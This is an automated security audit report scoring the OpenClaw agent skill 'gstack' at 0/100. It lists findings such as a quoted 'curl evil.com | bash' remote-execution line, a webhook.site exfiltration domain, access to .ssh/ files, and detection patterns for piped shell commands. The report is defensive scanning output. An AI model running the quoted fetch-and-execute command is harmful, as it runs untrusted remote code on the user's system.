Security Audit Report

gstack

Score: 0/100
Risk Level: High
Audited by: garrytan
Files: 86
Date: 4/30/2026, 1:12:18 PM

Findings: 24

  • Critical: 3
  • High: 8
  • Medium: 11
  • Low: 1
  • Info: 1

Source: gstack GitHub
SHA-256: df84e3b26348...

gstack is an Other skill for the OpenClaw ecosystem, created by garrytan. ClawSecure audited this skill through our 3-Layer Audit Protocol covering all 10 OWASP ASI Top 10 categories. This skill received a security score of 0/100, indicating significant security concerns that require attention. The audit identified 24 findings, with issues detected across multiple security layers.

3-Layer Audit Protocol

🛡 ClawSecure Proprietary Engine

  • Missing config.json - agent may not be properly configured
  • Suspicious domain detected: webhook.site (potential data exfiltration)
  • Attempts to access sensitive file: SOUL.md +4 more

Critical Findings: 9

🔒 Advanced Static & Behavioral Analysis

  • Hidden file found: .gitlab-ci.yml. Hidden files may contain concealed configuration or data that should be reviewed.
  • Pipeline downloads data from the network and executes it: curl evil.com | bash. This is a remote code execution pattern.
  • Skill manifest does not include a 'license' field. Specifying a license helps users understand usage terms. +7 more

Critical Findings: 15

📦 Supply Chain Security

  • No issues detected

Status: PASS (0 findings)

Audit Findings

CRITICAL - 3 Findings

  • F-001: Pattern detected: from "child_process"
    • File: bin/gstack-global-discover.ts:14
  • F-002: Pattern detected: execSync(
    • File: bin/gstack-global-discover.ts:163
  • F-003: Suspicious domain detected: webhook.site (potential data...
    • File: CHANGELOG.md

HIGH - 8 Findings

  • F-001: Pipeline downloads data from the network and executes it:...
    • File: CHANGELOG.md:1
  • F-002: Pattern detected: find ~/.gstack/sessions -mmin +120 -type...
    • File: SKILL.md:12
  • F-003: Attempts to access sensitive file: SOUL.md
  • F-004: Attempts to access sensitive file: .ssh/
  • F-005: Attempts to access sensitive file: .ssh/
  • F-006: Potentially dangerous code pattern detected: curl.*|.*sh
    • File: CHANGELOG.md
  • F-007: Potentially dangerous code pattern detected: curl.*|.*sh
    • File: gstack-gbrain-install
  • F-008: Potentially dangerous code pattern detected: exec(
    • File: gstack-taste-update

MEDIUM - 11 Findings

  • F-001: Variable $_BRAIN_SYNC_MODE (line 6) flows to sh at line...
    • File: SKILL.md:292
  • F-002: Variable $tmpfile (line 4) flows to curl at line 5.
    • File: SKILL.md:489
  • F-003: Variable $BUN_VERSION (line 13) flows to bash at line 13.
    • File: SKILL.md:497
  • F-004: File 'SKILL.md' extension (.md) suggests one format but...
    • File: autoplan/SKILL.md
  • F-005: Variable $_BRAIN_SYNC_MODE (line 6) flows to sh at line...
    • File: autoplan/SKILL.md:370
  • F-006: Variable $_BRAIN_SYNC_MODE (line 6) flows to sh at line...
    • File: benchmark-models/SKILL.md:314
  • F-007: Variable $_BRAIN_SYNC_MODE (line 6) flows to sh at line...
    • File: benchmark/SKILL.md:314
  • F-008: Variable $tmpfile (line 4) flows to curl at line 5.
  • F-009: Variable $BUN_VERSION (line 13) flows to bash at line 13.
  • F-010: Missing config.json - agent may not be properly configured
  • F-011: ReDoS vulnerability: Nested quantifiers (potential catastrophic backtracking) — "(X.Y.Z+1.0)*"

LOW - 1 Finding

  • F-001: Hidden file found: .gitlab-ci.yml. Hidden files may contain concealed configuration or data that should be reviewed.

INFO - 1 Finding

  • F-001: Skill manifest does not include a 'license' field...

OWASP ASI Framework Coverage

  • ASI01: Agent Goal Hijack
  • ASI02: Tool Misuse
  • ASI03: Identity & Privilege
  • ASI04: Agentic Supply Chain
  • ASI05: Unexpected Code Execution
  • ASI06: Memory & Context
  • ASI07: Insecure Inter-Agent Communication
  • ASI08: Cascading Failures
  • ASI09: Human-Agent Trust Exploitation
  • ASI10: Rogue Agents

Categories highlighted were detected in this scan. ClawSecure provides comprehensive coverage across all 10 OWASP ASI Top 10 categories.

Security Recommendations for gstack

  • Pin npm dependencies to exact versions to prevent unauthorized code from entering your dependency tree.
  • Add a config.json permissions manifest to declare necessary permissions for your OpenClaw skill.
  • Review shell execution permissions to ensure commands are constructed from trusted inputs only.

Context-Aware Analysis

This skill requests system-level capabilities which are standard for OpenClaw automation skills. ClawSecure's Context-Aware Intelligence analyzes capabilities in ecosystem context, differentiating real threats from normal agent functionality.

Additional Info

  • Scanned on: April 30, 2026
  • gstack is one of 2,890+ agents audited by ClawSecure from the community-curated awesome-openclaw-skills list and the openclaw/skills repository.